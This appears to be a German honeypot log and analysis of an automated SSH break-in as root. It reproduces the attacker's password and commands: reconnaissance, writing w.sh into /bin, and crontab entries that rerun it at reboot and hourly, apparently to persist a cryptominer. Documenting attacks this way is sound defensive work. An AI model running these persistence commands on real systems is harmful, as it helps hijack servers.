06.10.2026, 01:15 UTC · 16 Befehle · über ssh · Vereinigte Staaten · 2× wiederholt
user='root' pass='Vk$@+V#e-oSBgIG' root@srv01:~$ uname -a Linux proxy 5.10.0-23-amd64 #1 SMP Debian 5.10.179-1 (2023-05-12) x86_64 GNU/Linux root@srv01:~$ sh -c 'for d in /dev/shm /tmp /var/run /mnt /root /; do cd "$d" 2>/dev/null && pwd && break; done' /bin root@srv01:~$ cat /proc/cpuinfo | grep processor | wc -l 16 root@srv01:~$ cd "/bin" && if [ ! -f "w.sh" ]; then cat > "w.sh" && chmod +x w.sh; fi bash: w.sh: No such file or directory root@srv01:~$ CRON="$(crontab -l 2>/dev/null || true)" root@srv01:~$ echo "$CRON" | grep -F '/bin/w.sh "astats" "netai" "kstats" "ssh 2 az"' >/dev/null 2>&1 || \ bash: syntax error near unexpected token `||' root@srv01:~$ printf '%s\n%s\n' "@reboot /bin/w.sh "astats" "netai" "kstats" "ssh 2 az"" "0 * * * * cd "/bin" && ./w.sh "astats" "netai" "kstats" "ssh 2 az"" | (cat -; echo "$CRON") | crontab - no crontab for root root@srv01:~$ ps -eo pid,pcpu,comm --sort=-pcpu | head -n 10 PID %CPU COMMAND 1024 2.3 python3 18 0.8 systemd-journal 12 0.5 systemd-udevd 15 0.4 sshd 1 0.0 systemd 42 0.0 kworker/0:1 45 0.0 ksoftirqd/0 51 0.0 rcu_sched 52 0.0 rcu_bh root@srv01:~$ ps aux | grep netai | grep -v grep | wc -l 0 root@srv01:~$ cd /dev/shm || cd /tmp || cd /var/run || cd /mnt || cd /root || cd / && cat > netai bash: netai: No such file or directory root@srv01:~$ cd "/bin" && if [ ! -f "w.sh" ] bash: [: missing `]' root@srv01:~$ then cat > "w.sh" && chmod +x w.sh bash: syntax error near unexpected token `then' root@srv01:~$ fi bash: syntax error near unexpected token `fi' root@srv01:~$ CRON="$(crontab -l 2>/dev/null || true)" root@srv01:~$ echo "$CRON" | grep -F '/bin/w.sh "astats" "netai" "kstats" "ssh 2 az"' >/dev/null 2>&1 || \ printf '%s\n%s\n' "@reboot /bin/w.sh "astats" "netai" "kstats" "ssh 2 az"" "0 * * * * cd "/bin" && ./w.sh "astats" "netai" "kstats" "ssh 2 az"" | (cat -; echo "$CRON") | crontab - bash: syntax error near unexpected token `(' root@srv01:~$ uname -a Linux proxy 5.10.0-23-amd64 #1 SMP Debian 5.10.179-1 (2023-05-12) x86_64 GNU/Linux
Der Angreifer meldete sich mit einem erratenen Root-Passwort über SSH an. Er prüfte zunächst die Systemumgebung und die CPU-Kerne. Anschließend versuchte er, ein Skript namens w.sh in das Verzeichnis /bin zu schreiben und es ausführbar zu machen. Danach wollte er dieses Skript als Cron-Job eintragen, um es regelmäßig auszuführen.
Das Kommando uname -a liefert Informationen über das Betriebssystem und die Architektur. Die Schleife mit cd prüft, ob beschreibbare temporäre Verzeichnisse wie /dev/shm vorhanden sind. cat /proc/cpuinfo zählt die logischen Prozessorkerne, was für Mining-Software relevant ist. Der Befehl cat > w.sh versucht, Daten aus der Standardeingabe in eine neue Datei zu schreiben. Die crontab-Befehle sollen einen zeitgesteuerten Task einrichten, der das Skript w.sh mit spezifischen Parametern startet. Die ps-Befehle dienen der Überwachung laufender Prozesse, um sicherzustellen, dass die Malware aktiv ist.
Das Ziel war die Installation eines Persistenz-Mechanismus für einen Kryptomining-Bot oder ein ähnliches Schadprogramm. Dies erkennt man an der Verwendung von Namen wie netai und kstats sowie der Absicht, das Skript bei jedem Neustart und stündlich laufen zu lassen. Der Versuch scheiterte jedoch an Syntaxfehlern und fehlenden Dateien.
Dieser Angriff ist ein typischer, automatisierter Versuch, kompromittierte Server für illegale Zwecke zu nutzen. Die Verwendung von Standard-Verzeichnissen und einfachen Cron-Jobs ist bei Botnetzen sehr verbreitet.